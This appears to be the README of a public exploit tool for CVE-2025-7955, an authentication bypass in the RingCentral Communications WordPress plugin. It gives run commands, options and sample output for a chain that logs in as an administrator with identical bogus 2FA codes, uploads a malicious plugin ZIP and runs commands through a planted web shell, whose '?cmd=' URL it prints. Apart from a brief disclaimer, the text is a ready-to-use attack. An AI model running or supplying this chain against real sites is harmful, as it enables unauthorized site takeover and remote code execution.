
RingCentral Communications 1.5 - 1.6.8 - Missing Server‑Side Verification to Authentication Bypass via ringcentral_admin_login_2fa_verify Function
RingCentral Communications 1.5 - 1.6.8 - Missing Server‑Side Verification to Authentication Bypass via ringcentral_admin_login_2fa_verify Function
CVE: CVE-2025-7955
Affected Plugin: RingCentral Communications (WordPress)
Affected Versions: 1.5 – 1.6.8
CVSS Score: 9.8 (Critical)
Type: Authentication Bypass (Missing Server-Side Verification)
The RingCentral Communications plugin for WordPress is vulnerable to an Authentication Bypass due to improper validation within the
ringcentral_admin_login_2fa_verify()function. Versions 1.5 to 1.6.8 allow unauthenticated attackers to log in as any user simply by supplying identical bogus codes.
This exploit automates the entire attack chain for CVE-2025-7955. It is designed to:
/wp-json/wp/v2/users/ID).whoami through the shell and prints the output.Prepare your malicious plugin
Ensure you have your malicious plugin ZIP file (default: Nxploit.zip) in the same directory as the script.
Run the exploit:
python3 CVE-2025-7955.py -u http://target/wordpress [-user admin] [-id 1] [-z Nxploit.zip]
-u, --url : (required) Target WordPress site URL-user, --username : (optional) Username to log in as (auto-discovered if omitted)-id, --id_admin : (default: 1) User ID (admin is usually ID 1)-z, --zip : (default: Nxploit.zip) Path to malicious plugin ZIPExample:
python3 CVE-2025-7955.py -u http://target/wordpress
888b 888 888 d8b 888 888
8888b 888 888 Y8P 888 888
88888b 888 888 888 888
888Y88b 888 888 888 88888b. 888 .d88b. 888 888888 .d88b. .d88888
888 Y88b888 `Y8bd8P' 888 "88b 888 d88""88b 888 888 d8P Y8b d88" 888
888 Y88888 X88K 888 888 888 888 888 888 888 88888888 888 888
888 Y8888 .d8""8b. 888 d88P 888 Y88..88P 888 Y88b. Y8b. Y88b 888
888 Y888 888 888 88888P" 888 "Y88P" 888 "Y888 "Y8888 "Y88888
888
888
888
CVE-2025-7955 Exploit By : Nxploited
[*] Using User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
[*] Attempting login as: admin (ID: 1)
[+] Login successful!
[+] Nonce: 661e57f2e4
[*] Uploading malicious plugin...
[+] Plugin uploaded successfully!
[*] Executing: whoami
----------------------------------------
daemon
----------------------------------------
[+] Shell: http://target/wordpress/wp-content/plugins/Nxploit/index.php?cmd=COMMAND
This tool is for authorized security testing and educational use only.
Unauthorized use against systems you do not own or have explicit permission to test is illegal and unethical.
The author assumes no responsibility for any misuse or damages caused by this script.
By: Khaled Alenazi (Nxploited)
or specify username/ID:
python3 CVE-2025-7955.py -u http://target/wordpress -user admin -id 1